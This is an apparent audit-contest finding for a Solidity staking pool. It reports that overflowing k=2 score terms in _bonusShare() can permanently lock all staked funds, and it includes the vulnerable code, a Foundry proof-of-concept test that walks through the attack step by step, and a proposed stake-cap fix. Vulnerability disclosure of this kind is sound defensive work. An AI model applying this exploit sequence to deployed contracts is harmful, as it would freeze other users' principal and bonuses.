FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Expanded k=2 score terms can overflow and permanently lock all pool funds

Author Revealed upon completion

Expanded k=2 score terms can overflow and permanently lock all pool funds

Description

Normally, stakers should be able to recover their principal and bonus after the pool resolves.

However, _bonusShare() reconstructs the k=2 score using expanded quadratic terms. A sufficiently large stake can be accepted by stake(), while the later addition of two individually valid terms overflows.

// Root cause in the codebase with @> marks to highlight the relevant section
function _bonusShare(
address u,
uint256 userEligible
) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
// @> The expanded positive terms are added before the
// @> negative term can cancel them, causing an intermediate overflow.
uint256 userPlus =
T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus =
2 * T * userSumStakeTime[u];
uint256 userScore =
userPlus > userMinus ? userPlus - userMinus : 0;
// @> A large stake also poisons the global calculation,
// @> making claims from every staker revert.
uint256 plus =
T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus =
2 * T * snapshotSumStakeTime;
uint256 globalScore =
plus > minus ? plus - minus : 0;
// @> The overflow occurs before this fallback can be reached.
if (globalScore == 0) {
return Math.mulDiv(
userEligible,
snapshotTotalBonus,
snapshotTotalStaked
);
}
return Math.mulDiv(
userScore,
snapshotTotalBonus,
globalScore
);
}

Risk

Impact: High

  • Every staker’s claim can revert, including users with small honest positions.

  • All principal and bonus held by the pool can become permanently locked.

  • A zero-stake address can finalize the pool as EXPIRED without executing _bonusShare(), leaving every real staker unable to claim.

Likelihood: Medium

  • This can occur with an allowlisted standard ERC-20 whose legitimate raw-unit balances are large enough to reach the overflow threshold.

  • Any positive bonus activates _bonusShare(). When no bonus exists, the attacker can contribute a single raw token unit.

  • Deposits remain allowed during UNDER_ATTACK, so the malicious stake can be added after withdrawals have already been disabled.

Proof of Concept

The PoC shows that a sufficiently large stake can poison the global k=2 score, allowing a zero-stake address to finalize the pool while permanently blocking every real staker’s claim.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {stdError} from "forge-std/StdError.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract ConfidencePoolK2OverflowPoCTest is BaseConfidencePoolTest {
function test_largeStakePermanentlyBricksExpiredPool() external {
uint256 entryTime = block.timestamp;
uint256 endTime = uint256(pool.expiry());
uint256 denominator =
endTime * endTime
+ entryTime * entryTime;
/*
* This total stake is large enough for the two positive
* expanded terms to overflow when added together:
*
* totalStake *+ totalStake *
*
* Each individual term and the mathematically correct compact
* score can still fit inside uint256.
*/
uint256 targetTotalStake =
type(uint256).max / denominator + 1;
uint256 honestStake =
targetTotalStake / 3;
uint256 maliciousStake =
targetTotalStake - honestStake;
/*
* Honest value locked is greater than the attacker's stake,
* showing that this is not only attacker self-harm.
*/
uint256 honestBonus =
maliciousStake * 2;
_stake(alice, honestStake);
_contributeBonus(carol, honestBonus);
// Open the risk window so claims use the k=2 calculation.
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
pool.pokeRiskWindow();
/*
* Every value needed by the mathematically correct score fits
* independently.
*/
assertLe(
targetTotalStake
* entryTime
* entryTime,
type(uint256).max
);
assertLe(
targetTotalStake
* endTime
* endTime,
type(uint256).max
);
uint256 elapsed =
endTime - entryTime;
assertLe(
targetTotalStake
* elapsed
* elapsed,
type(uint256).max
);
/*
* However, _bonusShare() first adds the two expanded positive
* terms. This intermediate result cannot fit inside uint256.
*/
assertGt(
targetTotalStake,
type(uint256).max / denominator
);
_stake(bob, maliciousStake);
assertEq(
pool.totalEligibleStake(),
targetTotalStake
);
assertGt(
honestStake + honestBonus,
maliciousStake
);
/*
* A non-staker can finalize the pool as EXPIRED without
* executing _bonusShare(), because claimExpired() returns early
* when eligibleStake[msg.sender] is zero.
*/
vm.warp(endTime);
vm.prank(dave);
pool.claimExpired();
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.EXPIRED)
);
assertTrue(pool.claimsStarted());
/*
* Alice has a normal position, but her claim reverts because
* Bob's stake poisoned the global score calculation.
*/
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimExpired();
// Bob's own claim also reverts.
vm.prank(bob);
vm.expectRevert(stdError.arithmeticError);
pool.claimExpired();
/*
* Withdrawals are unavailable after the outcome has been
* finalized.
*/
vm.prank(alice);
vm.expectRevert(
IConfidencePool.OutcomeAlreadySet.selector
);
pool.withdraw();
/*
* The moderator cannot re-flag the outcome after the
* permissionless EXPIRED resolution sets claimsStarted.
*/
vm.prank(moderator);
vm.expectRevert(
IConfidencePool.OutcomeAlreadySet.selector
);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
/*
* All principal and bonus remain reserved, so the recovery
* sweep cannot move anything.
*/
vm.expectRevert(
IConfidencePool.NothingToSweep.selector
);
pool.sweepUnclaimedBonus();
assertEq(
token.balanceOf(address(pool)),
targetTotalStake + honestBonus
);
}
}

Recommended Mitigation

Cap the total stake so the expanded terms can never overflow. A better long-term fix would be to use timestamps relative to riskWindowStart, instead of squaring full Unix timestamps.

+ uint256 maxT = uint256(expiry);
+ uint256 maxTotalStake =
+ type(uint256).max / (2 * maxT * maxT);
+
+ if (
+ received >
+ maxTotalStake - totalEligibleStake
+ ) {
+ revert StakeTooLarge();
+ }

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!